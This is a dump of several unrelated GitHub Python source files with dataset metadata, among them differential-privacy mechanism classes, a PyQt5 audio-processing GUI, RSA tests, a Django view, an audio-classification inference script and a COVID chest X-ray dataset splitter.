6/python_bot.py","file_name":"python_bot.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"36581917085","text":"import abc\nfrom copy import copy\nimport inspect\nfrom numbers import Real\n\nfrom diffprivlib.utils import check_random_state\n\n\nclass DPMachine(abc.ABC):\n \"\"\"\n Parent class for :class:`.DPMechanism` and :class:`.DPTransformer`, providing and specifying basic functionality.\n\n \"\"\"\n @abc.abstractmethod\n def randomise(self, value):\n \"\"\"Randomise `value` with the mechanism.\n\n Parameters\n ----------\n value : int or float or str or method\n The value to be randomised.\n\n Returns\n -------\n int or float or str or method\n The randomised value, same type as `value`.\n\n \"\"\"\n\n def copy(self):\n \"\"\"Produces a copy of the class.\n\n Returns\n -------\n self : class\n Returns the copy.\n\n \"\"\"\n return copy(self)\n\n\nclass DPMechanism(DPMachine, abc.ABC):\n r\"\"\"Abstract base class for all mechanisms. Instantiated from :class:`.DPMachine`.\n\n Parameters\n ----------\n epsilon : float\n Privacy parameter :math:`\\epsilon` for the mechanism. Must be in [0, ∞].\n\n delta : float\n Privacy parameter :math:`\\delta` for the mechanism. Must be in [0, 1]. Cannot be simultaneously zero with\n ``epsilon``.\n\n random_state : int or RandomState, optional\n Controls the randomness of the mechanism. To obtain a deterministic behaviour during randomisation,\n ``random_state`` has to be fixed to an integer.\n\n \"\"\"\n def __init__(self, *, epsilon, delta, random_state=None):\n self.epsilon, self.delta = self._check_epsilon_delta(epsilon, delta)\n self.random_state = random_state\n\n self._rng = check_random_state(random_state, True)\n\n def __repr__(self):\n attrs = inspect.getfullargspec(self.__class__).kwonlyargs\n attr_output = []\n\n for attr in attrs:\n attr_output.append(attr + \"=\" + repr(self.__getattribute__(attr)))\n\n return str(self.__module__) + \".\" + str(self.__class__.__name__) + \"(\" + \", \".join(attr_output) + \")\"\n\n @abc.abstractmethod\n def randomise(self, value):\n \"\"\"Randomise `value` with the mechanism.\n\n Parameters\n ----------\n value : int or float or str or method\n The value to be randomised.\n\n Returns\n -------\n int or float or str or method\n The randomised value, same type as `value`.\n\n \"\"\"\n\n def bias(self, value):\n \"\"\"Returns the bias of the mechanism at a given `value`.\n\n Parameters\n ----------\n value : int or float\n The value at which the bias of the mechanism is sought.\n\n Returns\n -------\n bias : float or None\n The bias of the mechanism at `value` if defined, `None` otherwise.\n\n \"\"\"\n raise NotImplementedError\n\n def variance(self, value):\n \"\"\"Returns the variance of the mechanism at a given `value`.\n\n Parameters\n ----------\n value : int or float\n The value at which the variance of the mechanism is sought.\n\n Returns\n -------\n bias : float or None\n The variance of the mechanism at `value` if defined, `None` otherwise.\n\n \"\"\"\n raise NotImplementedError\n\n def mse(self, value):\n \"\"\"Returns the mean squared error (MSE) of the mechanism at a given `value`.\n\n Parameters\n ----------\n value : int or float\n The value at which the MSE of the mechanism is sought.\n\n Returns\n -------\n bias : float or None\n The MSE of the mechanism at `value` if defined, `None` otherwise.\n\n \"\"\"\n return self.variance(value) + (self.bias(value)) ** 2\n\n @classmethod\n def _check_epsilon_delta(cls, epsilon, delta):\n if not isinstance(epsilon, Real) or not isinstance(delta, Real):\n raise TypeError(\"Epsilon and delta must be numeric\")\n\n if epsilon < 0:\n raise ValueError(\"Epsilon must be non-negative\")\n\n if not 0 <= delta <= 1:\n raise ValueError(\"Delta must be in [0, 1]\")\n\n if epsilon + delta == 0:\n raise ValueError(\"Epsilon and Delta cannot both be zero\")\n\n return float(epsilon), float(delta)\n\n def _check_all(self, value):\n del value\n self._check_epsilon_delta(self.epsilon, self.delta)\n\n return True\n\n\nclass TruncationAndFoldingMixin: # pylint: disable=too-few-public-methods\n \"\"\"Mixin for truncating or folding the outputs of a mechanism. Must be instantiated with a :class:`.DPMechanism`.\n\n Parameters\n ----------\n lower : float\n The lower bound of the mechanism.\n\n upper : float\n The upper bound of the mechanism.\n\n \"\"\"\n def __init__(self, *, lower, upper):\n if not isinstance(self, DPMechanism):\n raise TypeError(\"TruncationAndFoldingMachine must be implemented alongside a :class:`.DPMechanism`\")\n\n self.lower, self.upper = self._check_bounds(lower, upper)\n\n @classmethod\n def _check_bounds(cls, lower, upper):\n \"\"\"Performs a check on the bounds provided for the mechanism.\"\"\"\n if not isinstance(lower, Real) or not isinstance(upper, Real):\n raise TypeError(\"Bounds must be numeric\")\n\n if lower > upper:\n raise ValueError(\"Lower bound must not be greater than upper bound\")\n\n return lower, upper\n\n def _check_all(self, value):\n \"\"\"Checks that all parameters of the mechanism have been initialised correctly\"\"\"\n del value\n self._check_bounds(self.lower, self.upper)\n\n return True\n\n def _truncate(self, value):\n if value > self.upper:\n return self.upper\n if value < self.lower:\n return self.lower\n\n return value\n\n def _fold(self, value):\n if value < self.lower:\n return self._fold(2 * self.lower - value)\n if value > self.upper:\n return self._fold(2 * self.upper - value)\n\n return value\n\n\ndef bernoulli_neg_exp(gamma, random_state=None):\n \"\"\"Sample from Bernoulli(exp(-gamma)).\n\n Adapted from \"The Discrete Gaussian for Differential Privacy\", Canonne, Kamath, Steinke, 2020.\n https://arxiv.org/pdf/2004.00010v2.pdf\n\n Parameters\n ----------\n gamma : float\n Parameter to sample from Bernoulli(exp(-gamma)). Must be non-negative.\n\n random_state : int or RandomState, optional\n Controls the randomness of the mechanism. To obtain a deterministic behaviour during randomisation,\n ``random_state`` has to be fixed to an integer.\n\n Returns\n -------\n One sample from the Bernoulli(exp(-gamma)) distribution.\n\n \"\"\"\n if gamma < 0:\n raise ValueError(f\"Gamma must be non-negative, got {gamma}.\")\n\n rng = check_random_state(random_state, True)\n\n while gamma > 1:\n gamma -= 1\n if not bernoulli_neg_exp(1, rng):\n return 0\n\n counter = 1\n\n while rng.random() <= gamma / counter:\n counter += 1\n\n return counter % 2\n","repo_name":"IBM/differential-privacy-library","sub_path":"diffprivlib/mechanisms/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":7059,"program_lang":"python","lang":"en","doc_type":"code","stars":746,"dataset":"github-code","pt":"68"} +{"seq_id":"20302701462","text":"import sys\nimport os\nimport numpy as np\nimport itertools\n\nimport config\nimport test\n\nsys.path.append(\"../../../data/stereo_dataset\")\nimport read\n\nsys.path.append(\"../../utils\")\nimport geo_utils\n\n# --- Params --- #\n\nDATASET_DIR = os.path.join(config.PROJECT_DIR, \"../../../data/stereo_dataset\")\nFILE_PARAMS = {\n \"raw_dataset_dir\": os.path.join(DATASET_DIR, \"raw\"),\n \"gt_views\": [\"ref\", \"rec\"],\n \"image_name_suffix\": \"ortho\",\n \"image_modes\": [\"RGB\", \"NIRRG\"],\n \"image_extension\": \"tif\",\n \"image_format\": \"{}_{}_{}_{}.{}\", # To be used as IMAGE_FORMAT.format(name, image_name_suffix, gt_views[i], image_modes[j], image_extension)\n \"poly_name_capitalize\": True, # If True, the gt name will be capitalised when building the gt filename to load\n \"poly_tag\": \"buildings\",\n \"poly_extension\": \"filtered.shp\", # Use filtered shapefiles (no intersecting polygons)\n \"poly_format\": \"{}_{}_{}.{}\", # To be used as IMAGE_FORMAT.format(capitalize(name), POLY_TAG, GT_VIEWS[i], poly_extension)\n}\n\nTEST_IMAGES = [\"leibnitz\"]\n\n# Models\nBATCH_SIZE = 6\nDS_FAC_LIST = [8, 4, 2] # Must be in descending order\nRUN_NAME_LIST = [\n \"ds_fac_8\",\n \"ds_fac_4\",\n \"ds_fac_2\",\n]\nassert len(DS_FAC_LIST) == len(RUN_NAME_LIST), \"DS_FAC_LIST and RUN_NAME_LIST should have the same length (and match)\"\nMODEL_DISP_MAX_ABS_VALUE = 4\n# Both list should match and be in descending order of downsampling factor.\n\nTHRESHOLDS = np.arange(0, 16.25, 0.25)\n\nTEST_OUTPUT_DIR = \"test/stereo_dataset_real_displacements.align.ds_fac_8.ds_fac_4.ds_fac_2\"\n\n# --- --- #\n\n\ndef test_image(image_name, view_pair, file_params, batch_size, ds_fac_list, run_name_list, model_disp_max_abs_value, thresholds, test_output_dir):\n # --- Load data --- #\n ori_image, ori_metadata = read.load_image_data(image_name, view_pair[0], file_params)\n ori_gt_polygons, ori_gt_properties_list = read.load_polygon_data(image_name, view_pair[0], file_params)\n ori_disp_polygons, ori_disp_properties_list = read.load_polygon_data(image_name, view_pair[1], file_params)\n\n # --- Test --- #\n # Add view to the image name (otherwise the result of the last view will overwrite previous ones)\n test_image_name = image_name + \"_\" + view_pair[0] + \"_\" + view_pair[1]\n test.test_image_with_gt_and_disp_polygons(test_image_name, ori_image, ori_metadata, ori_gt_polygons, ori_disp_polygons, ori_disp_properties_list, batch_size, ds_fac_list, run_name_list, model_disp_max_abs_value, thresholds, test_output_dir)\n\n\ndef main():\n if not os.path.exists(TEST_OUTPUT_DIR):\n os.makedirs(TEST_OUTPUT_DIR)\n\n view_pairs = itertools.permutations(FILE_PARAMS[\"gt_views\"])\n\n for image_name in TEST_IMAGES:\n for view_pair in view_pairs:\n test_image(image_name, view_pair, FILE_PARAMS, BATCH_SIZE, DS_FAC_LIST, RUN_NAME_LIST, MODEL_DISP_MAX_ABS_VALUE, THRESHOLDS, TEST_OUTPUT_DIR)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Lydorn/mapalignment","sub_path":"projects/mapalign/mapalign_multires/2_test_stereo_real_displacements.py","file_name":"2_test_stereo_real_displacements.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"en","doc_type":"code","stars":63,"dataset":"github-code","pt":"68"} +{"seq_id":"71346720858","text":"from PyQt5.QtCore import QSize, QThread\n\nfrom src.data.graphic import *\nfrom src.view.own_widgets import *\nfrom src.view.view_settings import ViewSettings\n\n\nclass FileListen(QThread):\n\n \"\"\"Поток для прослушивания аудио, не блокирующий интерфейс\"\"\"\n\n end_signal = pyqtSignal(str)\n\n # _send_imgs = pyqtSignal(list)\n def __init__(self):\n super(FileListen, self).__init__()\n\n def __del__(self):\n self.wait()\n\n def init_path(self, path: str):\n self.path = path\n\n def run(self):\n print('run')\n print(self.path)\n AudioModule().play()\n self.end_signal.emit('done')\n\n def terminate(self) -> None:\n AudioModule().stop()\n super(FileListen, self).terminate()\n\n\nclass WidgetTask10(QWidget):\n \"\"\"Корень вкладки, контролирующий работу всего окна с заданием\"\"\"\n\n def __init__(self):\n super().__init__()\n self.init_ui()\n\n self.listen_thread = FileListen()\n self.listen_thread.end_signal.connect(self.get_done_listen)\n self.audio_func = AudioFunction()\n self.init_style_sheet()\n\n def init_ui(self):\n vbox = SelfVLayout()\n self.setLayout(vbox)\n self.title = QLabel(\"Задача с аудио\")\n self.title.setFixedHeight(30)\n widget = QWidget()\n vbox.addWidget(self.title)\n vbox.addWidget(widget)\n self.main_h_box = SelfHLayout(spacing=10)\n widget.setLayout(self.main_h_box)\n self.view_graphics = WidgetValues()\n self.view_control = WidgetControl()\n self.view_control.setFixedWidth(ViewSettings.control_width)\n self.view_control.build_filter.clicked.connect(self.build_graph_filter)\n self.view_control.read_audio.clicked.connect(self.build_graph_audio)\n self.view_control.avg_signal.clicked.connect(self.build_graph_average)\n self.view_control.proc_b.clicked.connect(self.build_proc)\n self.view_control.proc_r.clicked.connect(self.process_rebuild)\n self.view_control.fourier_build_b.clicked.connect(self.build_fourier)\n self.view_control.play_b.clicked.connect(self.play_file)\n self.view_control.play_proc_b.clicked.connect(self.play_file_proc)\n self.view_control.stop_b.clicked.connect(self.stop_play_file)\n self.view_control.avg_signal.setEnabled(False)\n\n self.view_control.save_audio.clicked.connect(self.save_function)\n\n self.main_h_box.addWidget(self.view_control)\n self.main_h_box.addWidget(self.view_graphics)\n\n def init_style_sheet(self):\n self.title.setStyleSheet('''QLabel{color: rgb(%d, %d, %d);}''' % ViewSettings.foreground_color2)\n # self.view_control.setStyleSheet('''QWidget{background-color: rgb(150,150,150);}''')\n\n def build_graph_audio(self):\n sender = self.sender()\n path = self.view_control.file_load.path\n\n wav_file = AudioModule().read(path)\n\n self.audio_func.build_from_wav_file(wav_file=wav_file)\n\n if self.audio_func.channels == 2:\n self.func_l = self.audio_func.common_channel\n self.func_r = self.audio_func.right_channel\n\n Graphic(self.view_graphics.plot1.plot).build(func=self.func_l,\n prefab=GraphicPrefab.prefab_simple_thin_white())\n Graphic(self.view_graphics.plot2.plot).build(func=self.func_r,\n prefab=GraphicPrefab.prefab_simple_thin_white())\n self.view_control.avg_signal.setEnabled(True)\n self.view_control.signal_len_l.set_text(str(len(self.func_l.data)))\n self.view_control.signal_dt_l.set_text(str(self.func_l.dt))\n else:\n self.func_a = self.audio_func.common_channel\n Graphic(self.view_graphics.plot3.plot).build(func=self.func_a,\n prefab=GraphicPrefab.prefab_simple_thin_white())\n self.view_control.avg_signal.setEnabled(False)\n self.view_control.signal_len_l.set_text(str(len(self.func_a.data)))\n self.view_control.signal_dt_l.set_text(str(self.func_a.dt))\n\n def build_graph_average(self):\n self.func_a = self.func_l.average(self.func_r)\n Graphic(self.view_graphics.plot3.plot).build(func=self.func_a,\n prefab=GraphicPrefab.prefab_simple_thin_white())\n\n def build_graph_filter(self):\n proc = self.view_control.proc_variants.get_proc()\n print(proc)\n # if proc == 'add_func':\n self.filter = self.view_control.proc_variants.get_function()\n\n Graphic(self.view_graphics.plot4.plot).build(func=self.filter,\n prefab=GraphicPrefab.prefab_simple_thin_white())\n\n def build_fourier(self):\n sender = self.sender()\n\n if hasattr(self, 'func_l'):\n self.fourier_l = self.func_l.fourier_transform()\n Graphic(self.view_graphics.plot6.plot).build(func=self.fourier_l,\n prefab=GraphicPrefab.prefab_simple_thin_white())\n\n if hasattr(self, 'func_r'):\n self.fourier_r = self.func_r.fourier_transform()\n Graphic(self.view_graphics.plot7.plot).build(func=self.fourier_r,\n prefab=GraphicPrefab.prefab_simple_thin_white())\n\n if hasattr(self, 'func_a'):\n self.fourier_a = self.func_a.fourier_transform()\n Graphic(self.view_graphics.plot8.plot).build(func=self.fourier_a,\n prefab=GraphicPrefab.prefab_simple_thin_white())\n\n if hasattr(self, 'filter'):\n self.fourier_filter = self.filter.fourier_transform()\n Graphic(self.view_graphics.plot9.plot).build(func=self.fourier_filter,\n prefab=GraphicPrefab.prefab_simple_thin_white())\n\n if hasattr(self, 'proc_func'):\n self.fourier_proc_func = self.proc_func.fourier_transform()\n Graphic(self.view_graphics.plot10.plot).build(func=self.fourier_proc_func,\n prefab=GraphicPrefab.prefab_simple_thin_white())\n\n def play_file(self):\n sender = self.sender()\n path = self.view_control.file_load.path\n\n self.listen_thread.init_path(path)\n self.listen_thread.start()\n\n def play_file_proc(self):\n sender = self.sender()\n if not hasattr(self, 'proc_func'):\n raise Exception('non function')\n wav_file = AudioFunction.build_wav_from_function(self.proc_func)\n\n AudioModule.play_file(wav=wav_file)\n\n def stop_play_file(self):\n sender = self.sender()\n print('ad')\n self.listen_thread.terminate()\n\n def get_done_listen(self, msg):\n print(msg)\n\n def save_function(self):\n if not hasattr(self, 'proc_func'):\n raise Exception('non function')\n wav_file = AudioFunction.build_wav_from_function(self.proc_func)\n path = self.view_control.save_audio.path\n AudioModule.save(path=path, wav=wav_file)\n\n def build_proc(self):\n proc = self.view_control.proc_variants.get_proc()\n if not hasattr(self, 'proc_func'):\n self.proc_func = self.func_a\n if proc == 'add_func':\n fc = self.view_control.proc_variants.get_function()\n self.proc_func = self.proc_func.add_function(fc)\n if proc == 'multi':\n fc = self.view_control.proc_variants.get_function()\n self.proc_func = self.proc_func.multiply_function(fc)\n if proc == 'convolve':\n fc = self.view_control.proc_variants.get_function()\n self.proc_func = self.proc_func.convolution(fc)\n if proc == 'normalize':\n # fc = self.view_control.proc_variants.get_function()\n self.proc_func = self.proc_func.normalize()\n if proc == 'rmv_white_noise':\n p = self.view_control.proc_variants.get_settings()\n self.proc_func = self.proc_func.delete_white_noise(p)\n\n # self.proc_func = self.proc_func.delete_white_noise()\n\n Graphic(self.view_graphics.plot5.plot).build(func=self.proc_func,\n prefab=GraphicPrefab.prefab_simple_thin_white())\n\n def process_rebuild(self):\n self.proc_func = self.func_a\n\n\nclass WidgetControl(QWidget):\n \"\"\"Виджет настроек\"\"\"\n\n def __init__(self, size: QSize = None):\n super().__init__()\n if size is not None:\n self.setFixedSize(size)\n self.setObjectName(\"z2wid\")\n self.init_ui()\n self.init_style_sheet()\n\n def init_ui(self):\n self.box = SelfVLayout(spacing=5)\n self.setLayout(self.box)\n self.area = SelfControlPanel()\n self.area.setObjectName('control_area')\n self.build_filter = SelfButton2(\"Построить функцию\")\n self.read_audio = SelfButton2(\"Прочитать\")\n self.avg_signal = SelfButton2(\"Усреднить каналы\")\n self.save_audio = SelfFileSavePicker(\"Сохранить обработку\")\n\n self.proc_variants = SelfFuncProcessingWidget()\n self.fourier_build_b = SelfButton2(\"Построить спектр\")\n self.proc_r = SelfButton2(\"Сбросить преобразование\")\n self.proc_b = SelfButton2('Построить преобразование')\n self.play_b = SelfButton2(\"Прослушать\")\n self.play_proc_b = SelfButton2(\"Прослушать обработку\")\n self.stop_b = SelfButton2(\"Закончить слушать\")\n\n self.signal_len_l = SelfTitledLabel('длина сигнала', '')\n self.signal_dt_l = SelfTitledLabel('dt сигнала', '')\n\n '''group box for values of 1 graph'''\n group1 = SelfGroupBox(\"Файл\")\n group1.setObjectName('control1')\n self.box_group1 = SelfVLayout(spacing=5)\n group1.setLayout(self.box_group1)\n self.file_load = SelfFileLoad()\n\n self.box_group1.addWidget(self.file_load)\n\n #\n # '''group box for values of 2 graph'''\n # group2 = QGroupBox(\"Функция 2\")\n # self.box_group2 = SelfVLayout(spacing=5)\n # group2.setLayout(self.box_group2)\n # self.graph_and_settings2 = SelfFunctionCreateVariant()\n # self.box_group2.addWidget(self.graph_and_settings2)\n\n self.area.add_widget(group1)\n # self.area.add_widget(group2)\n # self.area.add_widget(group3)\n\n self.box.addWidget(self.read_audio)\n self.box.addWidget(self.avg_signal)\n self.box.addWidget(self.proc_variants)\n self.box.addWidget(self.build_filter)\n self.box.addWidget(self.proc_b)\n self.box.addWidget(self.proc_r)\n self.box.addWidget(self.fourier_build_b)\n self.box.addWidget(self.save_audio)\n self.box.addWidget(self.signal_len_l)\n self.box.addWidget(self.signal_dt_l)\n self.box.addWidget(self.play_b)\n self.box.addWidget(self.play_proc_b)\n self.box.addWidget(self.stop_b)\n self.box.addWidget(self.area)\n self.init_style_sheet()\n\n def init_style_sheet(self):\n self.setStyleSheet('''QWidget#z2wid{background-color: rgb(%d,%d,%d);}''' % ViewSettings.background_color)\n self.area.setStyleSheet(\n '''QWidget#conrol_area{background-color: rgb(%d,%d,%d);}''' % ViewSettings.background_color)\n\n\nclass WidgetValues(QWidget):\n \"\"\"Главное окно вкладки с заданием\"\"\"\n\n def __init__(self):\n super().__init__()\n self.init_ui()\n\n def init_ui(self):\n self.setObjectName(\"plots\")\n self.hbox = SelfHLayout(spacing=7)\n self.setLayout(self.hbox)\n self.vbox1 = SelfVLayout()\n self.vbox2 = SelfVLayout()\n self.vbox3 = SelfVLayout()\n self.hbox.addLayout(self.vbox1)\n self.hbox.addLayout(self.vbox2)\n self.hbox.addLayout(self.vbox3)\n self.plots = {}\n\n self.plot1 = SelfPlot(title='Левый канал')\n self.plot2 = SelfPlot(title='Правый канал')\n self.plot3 = SelfPlot(title='Усредненный сигнал (или единственный канал)')\n self.plot4 = SelfPlot(title='Функция')\n self.plot5 = SelfPlot(title='Результат обработки')\n self.plot6 = SelfPlot(title='Спектр')\n self.plot7 = SelfPlot(title='Спектр')\n self.plot8 = SelfPlot(title='Спектр')\n self.plot9 = SelfPlot(title='Спектр')\n self.plot10 = SelfPlot(title='Спектр')\n\n wid = 600\n hei = 150\n self.plot1.setFixedSize(wid, hei)\n self.vbox1.addWidget(self.plot1)\n self.plot2.setFixedSize(wid, hei)\n self.vbox1.addWidget(self.plot2)\n self.plot3.setFixedSize(wid, hei)\n self.vbox1.addWidget(self.plot3)\n self.plot4.setFixedSize(wid, hei)\n self.vbox1.addWidget(self.plot4)\n self.plot5.setFixedSize(wid, hei)\n self.vbox1.addWidget(self.plot5)\n self.vbox1.addStretch()\n\n self.plot6.setFixedSize(wid, hei)\n self.vbox2.addWidget(self.plot6)\n self.plot7.setFixedSize(wid, hei)\n self.vbox2.addWidget(self.plot7)\n self.plot8.setFixedSize(wid, hei)\n self.vbox2.addWidget(self.plot8)\n self.plot9.setFixedSize(wid, hei)\n self.vbox2.addWidget(self.plot9)\n self.plot10.setFixedSize(wid, hei)\n self.vbox2.addWidget(self.plot10)\n self.vbox2.addStretch()\n\n # self.plot3.setFixedSize(wid, hei)\n # self.vbox3.addWidget(self.plot3)\n # self.plot6.setFixedSize(wid, hei)\n # self.vbox3.addWidget(self.plot6)\n # self.plot9.setFixedSize(wid, hei)\n # self.vbox3.addWidget(self.plot9)\n self.vbox3.addStretch()\n\n self.hbox.addStretch()\n # self.vbox1.addWidget(self.plot4)\n\n self.init_style_sheet()\n\n def init_style_sheet(self):\n self.setStyleSheet('''QWidget#values{background-color: rgba(240,240,240,255); padding: 0px;}''')\n","repo_name":"dolphinLesha/DataInterpretation","sub_path":"src/view/tasks/task10_gui.py","file_name":"task10_gui.py","file_ext":"py","file_size_in_byte":14399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"8450531803","text":"from random import randint\nimport sign.rsa as rsa\n\npk, sk, phi = rsa.gen_keys()\n\ndef test_genkey():\n assert pk.n == sk.n\n assert pk.e * sk.d % phi == 1\n\ndef test_inversibility():\n for _ in range(10):\n pk0, sk0, _ = rsa.gen_keys(512)\n data = randint(10, 100000)\n e = rsa.process(data, pk0)\n d = rsa.process(e, sk0)\n assert d == data, str(sk0)\n","repo_name":"LeoRiether/sign.py","sub_path":"tests/test_rsa.py","file_name":"test_rsa.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"26885179811","text":"from django.shortcuts import render\n\n\n\nprojectsList = [\n {\n 'id': '1',\n 'title': 'Ecommerce Website',\n 'description': 'Fully functional ecommerce website'\n },\n {\n 'id': '2',\n 'title': 'Portfolio Website',\n 'description': 'A personal website to write articles and display work'\n },\n {\n 'id': '3',\n 'title': 'Social Network',\n 'description': 'An open source project built by the community'\n }\n]\n\n\n\n\n\n\ndef projects(request):\n page = 'projects'\n number = 10\n context = {'page': page, 'number': number, 'projects':projectsList}\n return render(request, 'projects/projects.html',context=context)\n\n# same as in the urlpatterns, in the path function's first argument\ndef project(request, pk):\n return render(request, 'projects/single_project.html', context={'parameter':pk})\n\n","repo_name":"amirli21/django-learning","sub_path":"devsearch/projects/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"37593830466","text":"import os\nimport json\nimport click\n\n\n@click.command()\n@click.option('--pre-commit', is_flag=True)\ndef update_req_for_rtd(pre_commit):\n \"\"\"Update the separate requirements file for Read the Docs\"\"\"\n docs_dir = os.path.abspath(os.path.dirname(__file__))\n root_dir = os.path.join(docs_dir, os.pardir)\n\n with open(os.path.join(root_dir, 'setup.json'), 'r') as info:\n setup_json = json.load(info)\n\n extras = setup_json['extras_require']\n reqs = set(extras['testing'] + extras['docs'] + extras['rest'] + extras['atomic_tools'] +\n setup_json['install_requires'])\n reqs_str = '\\n'.join(sorted(reqs))\n\n basename = 'requirements_for_rtd.txt'\n\n # pylint: disable=bad-continuation\n with open(os.path.join(docs_dir, basename), 'w') as reqs_file:\n reqs_file.write(reqs_str)\n\n click.echo(\"File '{}' written.\".format(basename))\n\n if pre_commit:\n msg = 'Some requirements for Read the Docs have changed, {}'\n local_help = 'please add the changes and commit again'\n travis_help = 'please run aiida/docs/update_req_for_rtd.py locally and commit the changes it makes'\n help_msg = msg.format(travis_help if os.environ.get('TRAVIS') else local_help)\n click.echo(help_msg, err=True)\n\n\nif __name__ == '__main__':\n update_req_for_rtd() # pylint: disable=no-value-for-parameter\n","repo_name":"qiaojunfeng/aiida-core","sub_path":"docs/update_req_for_rtd.py","file_name":"update_req_for_rtd.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"68"} +{"seq_id":"27056605565","text":"import os\nimport json\nimport argparse\nimport numpy as np\nimport h5py\nimport torch \nimport soundfile as sf\nfrom tqdm import tqdm\nfrom scipy.special import softmax\nfrom python_speech_features import logfbank\nfrom module.model import Gvector\n\n# config:\nmdl_clf_kwargs = {\n \"channels\": 16, \n \"block\": \"BasicBlock\", \n \"num_blocks\": [2,2,2,2], \n \"embd_dim\": 1024, \n \"drop\": 0.3, \n \"n_class\": 5\n}\n\n# config:\nmdl_uad_kwargs = {\n \"channels\": 16, \n \"block\": \"BasicBlock\", \n \"num_blocks\": [2,2,2,2], \n \"embd_dim\": 1024, \n \"drop\": 0.3, \n \"n_class\": 2\n}\n\ndef parse_args():\n desc=\"infer labels\"\n parser = argparse.ArgumentParser(description=desc)\n parser.add_argument('--dataset', type=str, default=None, help=\"path to the dataset dir for inference\")\n parser.add_argument('--output', type=str, default=None, help=\"path to the output dir\")\n parser.add_argument('--model-clf', type=str, required=True)\n parser.add_argument('--model-uad', type=str, required=True)\n parser.add_argument('--device', type=str, default=\"cuda:0\", help=\"device to infer\")\n return parser.parse_args()\n \n\nclass SVExtractor():\n def __init__(self, mdl_kwargs, model_path, device):\n self.model = self.load_model(mdl_kwargs, model_path)\n self.model.eval()\n self.device = device\n self.model = self.model.to(self.device)\n\n def load_model(self, mdl_kwargs, model_path):\n model = Gvector(**mdl_kwargs)\n state_dict = torch.load(model_path)\n if 'model' in state_dict.keys():\n state_dict = state_dict['model']\n model.load_state_dict(state_dict)\n return model\n\n def extract_logfbank(self, feat_path, cmn=True):\n hf = h5py.File(feat_path, 'r')\n logfbankFeat = np.array(hf.get('logfbank'))\n hf.close()\n if cmn:\n logfbankFeat -= logfbankFeat.mean(axis=0, keepdims=True)\n return logfbankFeat.astype('float32')\n\n def __call__(self, feat_path):\n feat = self.extract_logfbank(feat_path)\n feat = torch.from_numpy(feat).unsqueeze(0)\n feat = feat.float().to(self.device)\n with torch.no_grad():\n embd = self.model(feat)\n embd = embd.squeeze(0).cpu().numpy()\n return embd\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n model_clf_path = args.model_clf\n model_uad_path = args.model_uad\n dataset_dir = args.dataset.rstrip('/') + '/'\n output_dir = '/'.join(args.output.split('/')[:-1])\n os.makedirs(output_dir, exist_ok=True)\n print('... loading model ...')\n clf_extractor = SVExtractor(mdl_clf_kwargs, model_clf_path, device=args.device)\n uad_extractor = SVExtractor(mdl_uad_kwargs, model_uad_path, device=args.device)\n print('... loaded ...')\n all_wavs = [dataset_dir+wav for wav in os.listdir(dataset_dir) if wav.endswith('.h5')]\n predictions = []\n for wav in tqdm(all_wavs, desc=dataset_dir.split('/')[-2]):\n isUnseen = np.argmax(softmax(uad_extractor(wav)))\n if isUnseen:\n predictions.append(\"%s, %d\"%(wav.split('/')[-1].replace('.h5','.wav'), 5))\n else:\n embd = softmax(clf_extractor(wav))\n predictions.append(\"%s, %d\"%(wav.split('/')[-1].replace('.h5','.wav'), np.argmax(embd)))\n with open(args.output,'w') as f:\n f.write('\\n'.join(predictions))","repo_name":"realzza/spcup","sub_path":"infer_uad.py","file_name":"infer_uad.py","file_ext":"py","file_size_in_byte":3337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"71155482457","text":"import csv\nimport os\nfrom math import ceil, floor\nfrom random import randrange, shuffle\nfrom shutil import copyfile, rmtree\n\nimport numpy as np\n\nROOT_DIR = str(os.path.dirname(os.path.abspath(__file__)))\nSOURCE_DIR = \"/Users/ozanguldali/Documents/master_courses/deep_learning/final_project/archive/Coronahack-Chest-XRay-Dataset/Coronahack-Chest-XRay-Dataset\"\nMETADATA_PATH = ROOT_DIR + \"/Chest_xray_Corona_Metadata.csv\"\n\ntrain_viral_covid19_folder = ROOT_DIR+'/dataset/train/Viral-COVID19/'\ntrain_viral_other_folder = ROOT_DIR+'/dataset/train/Viral-Other/'\ntrain_bacterial_folder = ROOT_DIR+'/dataset/train/Bacterial/'\ntrain_normal_folder = ROOT_DIR+'/dataset/train/Normal/'\ntest_viral_covid19_folder = ROOT_DIR+'/dataset/test/Viral-COVID19/'\ntest_viral_other_folder = ROOT_DIR+'/dataset/test/Viral-Other/'\ntest_bacterial_folder = ROOT_DIR+'/dataset/test/Bacterial/'\ntest_normal_folder = ROOT_DIR+'/dataset/test/Normal/'\n\n# whole dataset_unique list init\ncovid_chestxray_dataset = []\n\n\ndef scrape_metadata():\n viral_covid_patients = {}\n viral_other_patients = {}\n bacterial_patients = {}\n normal_patients = {}\n\n # read metadata file\n with open(METADATA_PATH, mode='r') as csv_data:\n reader = csv.DictReader(csv_data, delimiter=',')\n\n for row in reader:\n covid_chestxray_dataset.append(row)\n\n # filter dataset_unique for COVID-19 patients having sex and age info, and PA X-ray image\n for data in covid_chestxray_dataset:\n img = data[\"X_ray_image_name\"]\n dataset_type = data[\"Dataset_type\"]\n if \"Normal\" == str(data[\"Label\"]):\n normal_patients[img] = dataset_type\n else:\n if \"bacteria\" == str(data[\"Label_1_Virus_category\"]):\n if \"\" == str(data[\"Label_2_Virus_category\"]):\n bacterial_patients[img] = dataset_type\n else:\n continue\n elif \"Virus\" == str(data[\"Label_1_Virus_category\"]):\n if \"COVID-19\" == str(data[\"Label_2_Virus_category\"]):\n viral_covid_patients[img] = dataset_type\n elif \"\" == str(data[\"Label_2_Virus_category\"]):\n viral_other_patients[img] = dataset_type\n else:\n continue\n else:\n continue\n\n return viral_covid_patients, viral_other_patients, 